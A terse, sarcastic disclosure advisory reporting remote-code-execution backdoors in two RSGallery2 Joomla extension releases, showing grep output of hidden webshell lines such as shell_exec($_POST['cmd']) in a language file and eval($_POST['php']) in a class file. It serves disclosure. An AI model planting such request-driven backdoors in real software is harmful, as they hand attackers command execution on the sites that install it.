Joomla RSGallery2 Backdoor

`Vulnerability:  
Remote code execution back door(s)  
  
Software:  
RSGallery2 - Gallery Extension for Joomla!  
We are currently working on a new website. All files are still available at   
the JoomlaCode project page.  
  
Severity:  
Not a big deal. Joomla components contain all sorts of obfuscated junk all   
the time. Who cares what it does?  
  
URLs:  
http://rsgallery2.net/  
http://joomlacode.org/gf/download/frsrelease/6756/38088/com_rsgallery2_legacy_1.14.3.zip  
http://joomlacode.org/gf/download/frsrelease/7791/36662/com_rsgallery2_2.0.0b1.zip  
  
Joomlacode.org says, about these releases:  
RSGallery2 1.14.3 Security Release  
Jonah Braun  
2008-02-13  
This is an updated production alpha containing a low threat security fix. If   
you use commenting you should upgrade. An option to show/hide the Search box   
has also been added. See the official site for downloads and support:   
http://rsgallery2.net/  
  
RSGallery2 2.0.0b1 released  
John Caprez  
2008-06-23  
This is the first version of RSGallery2 that runs in Joomla 1.5 native mode.  
  
Special thanks goes to all the translators providing the updated language   
files and the testers of the nightly builds.  
Download it and enjoy. Feel free to report any bugs or problems in the forum   
at the RSGallery2 main web site   
  
Vendor notified:  
I tried. Not very hard though. joomlacode doesn't seem to have a security   
contact and links to joomla.org as if they are the same crowd. I'm sending   
a BCC to the given address for Jonah Braun though. I'll send it to bugtraq,   
and they will sit on it for a few hours.  
http://developer.joomla.org/security.html  
Huh? Do I need more coffee, or does this page say to contact them using   
the details at this page? So you do that, and it says ... no wait,   
infloop. Oh wait, there is a contact form. Filled something in. Blah.  
  
Vulnerability:  
  
% wget \  
http://joomlacode.org/gf/download/frsrelease/6756/38088/com_rsgallery2_legacy_1.14.3.zip  
  
% unzip com_rsgallery2_legacy_1.14.3.zip  
  
% egrep -r '(eval|exec).*POST' .  
  
./language/english-utf8.php: $result =   
shell_exec($_POST['cmd'] . " 2>&1 ; pwd");  
./language/english-utf8.php: $result = shell_exec($_POST['cmd'] . "   
2>&1");  
./includes/rsgallery.class.php:$out = execute($_POST['cmd']);  
./includes/rsgallery.class.php:eval($_POST['php']);  
./includes/rsgallery.class.php:$out = execute($_POST['alias']);  
  
There's other fun obfuscated javascript hiding in 'eval's'.  
  
Ditto version 2  
  
nuf sed &:-)  
  
  
`